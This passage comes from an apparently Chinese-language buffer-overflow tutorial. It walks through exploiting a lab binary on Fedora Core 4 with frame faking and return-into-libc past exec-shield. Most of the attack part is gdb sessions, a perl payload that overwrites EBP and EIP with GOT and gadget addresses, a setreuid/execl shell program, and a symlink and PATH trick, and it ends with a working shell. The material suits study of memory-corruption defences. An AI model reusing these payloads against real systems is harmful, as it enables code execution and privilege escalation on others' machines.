0x005eed20      0x08048326      0x00643fc0 (gdb) x/i 0x005eed20 0x5eed20 <__libc_start_main>:  push   %ebp (gdb) x/i 0x00643fc0      ======》strcpy的入口地址 0x643fc0 <strcpy>:      push   %ebp (gdb) c Continuing. Breakpoint 5, 0x0060f3df in system () from /lib/libc.so.6 (gdb) x/8x 0x080495d8     ======》执行system之前,GOT中已经有system的入口地址了 0x80495d8 <_GLOBAL_OFFSET_TABLE_>:      0x0804950c      0x005d36d0      0x005cad20      0x0060f3df 0x80495e8 <_GLOBAL_OFFSET_TABLE_+16>:   0x08048306      0x005eed20      0x08048326      0x00643fc0 (gdb) x/i 0x0060f3df 0x60f3df <system>:      push   %edi (gdb) c Continuing. Detaching after fork from child process 31014. sh: BBBB: command not found AAAA Program exited normally. (gdb) 通过上面的调试,可以看到system在GOT中的入口地址是在0x080495e4 如果我们用frame faking,那么就应该把fake EBP addr指定到0x080495e0,这样,新的EBP内容就是0x005cad20(这个不重要),新的EIP的内容就变成了我们想要的system的入口地址 也就是0x0060f3df 根据return into libc的方法,调用system的payload应该是      ++++++++++++++++++++++++++++++++++++++++++++++++++++++++      | dummy | system addr| 4 bytes dummy | addr of command |      ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 也就是说,system入口地址后需要有4字节的填充数据,然后是跟着的地址,将指向system要执行的命令 我们再调试看看,这次用上我们的payload 根据调试得到,256字节覆盖buffer,再4字节覆盖EBP,再4字节覆盖EIP 覆盖buffer的字节数可能根据系统不同,因为dummy不同,并不是简单的看一眼反汇编代码能得到 我们用frame faking技术 其中leave的地址是0x08048445 而根据上面的分析,我们应该把fake ebp addr返回到0x080495e0 (gdb) r "`perl -e 'print "A"x256,"\xe0\x95\x04\x08","\x45\x84\x04\x08"'`" Starting program: /home/axis/explab/bof2 "`perl -e 'print "A"x256,"\xe0\x95\x04\x08","\x45\x84\x04\x08"'`" (no debugging symbols found) (no debugging symbols found) Breakpoint 4, 0x00643fc4 in strcpy () from /lib/libc.so.6 (gdb) x/8x 0x080495d8 0x80495d8 <_GLOBAL_OFFSET_TABLE_>:      0x0804950c      0x005d36d0      0x005cad20      0x080482f6 0x80495e8 <_GLOBAL_OFFSET_TABLE_+16>:   0x08048306      0x005eed20      0x08048326      0x00643fc0 (gdb) c Continuing. Breakpoint 5, 0x0060f3df in system () from /lib/libc.so.6 (gdb) x/8x 0x080495d8               ======》执行到system了 0x80495d8 <_GLOBAL_OFFSET_TABLE_>:      0x0804950c      0x005d36d0      0x005cad20      0x0060f3df 0x80495e8 <_GLOBAL_OFFSET_TABLE_+16>:   0x08048306      0x005eed20      0x08048326      0x00643fc0 (gdb) i reg eax            0xbf9a6ed8      -1080398120 ecx            0xbf9a6fe0      -1080397856 edx            0xbf9a7bbf      -1080394817 ebx            0x6ffff4 7340020 esp            0xbf9a6eac      0xbf9a6eac ebp            0xbf9a6fd8      0xbf9a6fd8 esi            0x5d2ca0 6106272 edi            0x8048448       134513736 eip            0x60f3df 0x60f3df eflags         0x246    582 cs             0x73     115 ss             0x7b     123 ds             0x7b     123 es             0x7b     123 fs             0x0      0 gs             0x33     51 (gdb) c Continuing. Detaching after fork from child process 31167. sh: BBBB: command not found                 ======》程序中的system正确执行了 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA郋 Breakpoint 5, 0x0060f3df in system () from /lib/libc.so.6    ======》但执行后,因为我们改变了程序流程,所以又回到system执行了 (gdb) bt #0  0x0060f3df in system () from /lib/libc.so.6 #1  0x00630ee0 in _L_mutex_unlock_528 () from /lib/libc.so.6 #2  0x005eed20 in _dl_start () from /lib/libc.so.6 Previous frame inner to this frame (corrupt stack?) (gdb) x/8x 0x080495d8 0x80495d8 <_GLOBAL_OFFSET_TABLE_>:      0x0804950c      0x005d36d0      0x005cad20      0x0060f3df 0x80495e8 <_GLOBAL_OFFSET_TABLE_+16>:   0x00630ee0      0x005eed20      0x08048326      0x00643fc0 (gdb) i reg eax            0x0      0 ecx            0x109    265 edx            0x7017a8 7346088 ebx            0x6ffff4 7340020 esp            0x80495e8       0x80495e8 ebp            0x5cad20 0x5cad20 esi            0x5d2ca0 6106272 edi            0x8048448       134513736 eip            0x60f3df 0x60f3df eflags         0x286    646 cs             0x73     115 ss             0x7b     123 ds             0x7b     123 es             0x7b     123 fs             0x0      0 gs             0x33     51 (gdb) c Continuing. Detaching after fork from child process 31172. sh: U夊WVS冹L?���伱: command not found         ======》看,再次执行了system h Program received signal SIGSEGV, Segmentation fault. 0x005eed81 in __libc_start_main () from /lib/libc.so.6 (gdb) 程序流程按照我们的构想改变了,system执行了两次,第一次是程序本身包含的,第二次是我们精心构造让它执行的 那么它到底执行了什么呢? sh: U夊WVS冹L?���伱: command not found 一堆乱码 其实很好理解 (gdb) x/8x 0x080495d8 0x80495d8 <_GLOBAL_OFFSET_TABLE_>:      0x0804950c      0x005d36d0      0x005cad20      0x0060f3df 0x80495e8 <_GLOBAL_OFFSET_TABLE_+16>:   0x00630ee0      0x005eed20      0x08048326      0x00643fc0 注意看这里 system在0x080495e4,那么接下来的4 byte作为填充的垃圾数据 那么它实际执行的就是 0x005eed20的内容 我们再看看 (gdb) r "`perl -e 'print "A"x256,"\xe0\x95\x04\x08","\x45\x84\x04\x08"'`" The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/axis/explab/bof2 "`perl -e 'print "A"x256,"\xe0\x95\x04\x08","\x45\x84\x04\x08"'`" (no debugging symbols found) (no debugging symbols found) Breakpoint 4, 0x00643fc4 in strcpy () from /lib/libc.so.6 (gdb) c Continuing. Breakpoint 5, 0x0060f3df in system () from /lib/libc.so.6 (gdb) c Continuing. Detaching after fork from child process 31218. sh: BBBB: command not found AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA郋 Breakpoint 5, 0x0060f3df in system () from /lib/libc.so.6 (gdb) x/8x 0x080495d8 0x80495d8 <_GLOBAL_OFFSET_TABLE_>:      0x0804950c      0x005d36d0      0x005cad20      0x0060f3df 0x80495e8 <_GLOBAL_OFFSET_TABLE_+16>:   0x00630ee0      0x005eed20      0x08048326      0x00643fc0 (gdb) x/s 0x005eed20                   ========》第二次system执行的是这个地址的内容 0x5eed20 <__libc_start_main>:   "U\211錡VS\203霯?���\201闷\022\021" (gdb) x/8x 0x005eed20 0x5eed20 <__libc_start_main>:  0x57e58955       0xec835356      0xff32e84c      0xc381ffff 0x5eed30 <__libc_start_main+16>:        0x001112c6      0x8b147d8b      0x838b1c4d      0xffffff48 (gdb) 也就是说,system是这样执行的 system(0x005eed20); 执行了0x005eed20指向的内容,一直到遇到一个0x00为止 也就是说以下面下滑线的数据为参数 0x5eed20 <__libc_start_main>:  0x57e58955       0xec835356      0xff32e84c      0xc381ffff                                ~~~~~~~~~~       ~~~~~~~~~~      ~~~~~~~~~~      ~~~~~~~~~~ 0x5eed30 <__libc_start_main+16>:        0x001112c6      0x8b147d8b      0x838b1c4d      0xffffff48                                             ~~~~~~ 还记得在方法二中我们是怎么让system执行Array的吗? 那么这里我们用同样的方法,让system执行这一堆乱码 [axis@axis explab]$ cat Array.c #include<unistd.h> int main(int argc,char *argv[]){ setreuid(geteuid(),geteuid()); setregid(getegid(),getegid()); execl("/bin/sh","sh",0); return 0; } [axis@axis explab]$ gcc -o Array Array.c [axis@axis explab]$ 但这里不能再用Array做文件名了,而应该是那堆乱码。 我们可以简单的设置一个软连接 (gdb) x/8x 0x005eed20 0x5eed20 <__libc_start_main>:  0x57e58955       0xec835356      0xff32e84c      0xc381ffff 0x5eed30 <__libc_start_main+16>:        0x001112c6      0x8b147d8b      0x838b1c4d      0xffffff48 (gdb) shell          [axis@axis explab]$ ln -s /home/axis/explab/Array "`perl -e 'print "\x55\x89\xe5\x57\x56\x53\x83\xec\x4c\xe8\x32\xff\xff\xff\x81\xc3\xc6\x12\x11"'`" [axis@axis explab]$ ls Array    Array.c    bof2    bof2.c     U??WVS??L?2????闷?? [axis@axis explab]$ 看,这堆乱码我们有了 再把当前目录导入PATH [axis@axis explab]$ export PATH=:.PATH [axis@axis explab]$ 准备工作做好了,执行看看! [axis@axis explab]$ ./bof2 "`perl -e 'print "A"x256,"\xe0\x95\x04\x08","\x45\x84\x04\x08"'`" sh: BBBB: command not found AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA郋 sh-3.00$ id uid=500(axis) gid=500(axis) groups=500(axis) context=user_u:system_r:unconfined_t sh-3.00$ uname -a Linux axis 2.6.11-1.1369_FC4 #1 Thu Jun 2 22:55:56 EDT 2005 i686 i686 i386 GNU/Linux sh-3.00$ cat /etc/issue.net Fedora Core release 4 (Stentz) Kernel \r on an \m sh-3.00$ 和我们所猜想的一模一样,成功执行system,得到shell了 但是还是有system丢弃特权的问题,没有得到rootshell ---------[ 0x140 - Conclusion ]   以上几种方法中,都是在Redhat高版本平台上做的事情,都是默认安装,也就是execshield,SElinux,VA space randomize全开的情况。其中frame faking最为灵活。虽然因为system函数丢弃特权导致无法得到root,但我们可以利用些其他的函数。或者是直接以root权限做些什么事情。继续拓展就留给读者了。   在这里我们看到像glibc中提供的函数system等的地址,是不变的,但在高版本内核中,他们已经开始变化了!那么也就是说用return into libc的方法的难度大大提高,而且在Fedora Core 5中,据说PLT已经不再可写了,届时又会出现什么新的攻击手段,我们拭目以待.   最后,不得不说Red Hat的execshield是一个非常棒的东西,至少最近在公开的mail list里,已经看不到针对redhat平台的溢出exploit了.   Thanks ayazero,Seal,Envymask,and all guys from ph4nt0m!   Welcome to Ph4nt0m!         http://www.ph4nt0m.org   Welcome to SecWiki!         http://www.secwiki.com ---------[ 0x150 - Reference ] 《How to hijack the Global Offset Table with pointers for root shells》  By c0ntex         http://www.open-security.org/texts/6 《How to Exploit Overflow Vulnerability Under Fedora Core》 By Vangelis.         http://www.covertsystems.org/archives/How to exploit overflow vulnerability under Fedora Core 2.txt 《Solution To Red Hat PIE protection》  By Fr0z3n         http://www.covertsystems.org/archives/pie.txt 《UNIX下的缓冲区溢出深度防御体系》  By ayazero         http://overflow.nease.net/aya/inside_unix_defense.txt 《Function Stack Frame Manipulation》  By  barros A.K.A Carlos Barros         http://gotfault.net/knowledge/module/0x300/0x300-MODULE.txt exec-shield description:     http://people.redhat.com/mingo/exec-shield/ANNOUNCE-exec-shield (OLD)     http://www.redhat.com/f/pdf/rhel/WHP0006US_Execshield.pdf description of security enhancements in RHEL/FC     http://people.redhat.com/drepper/nonselsec.pdf -EOF-




摘自:chinaunix.net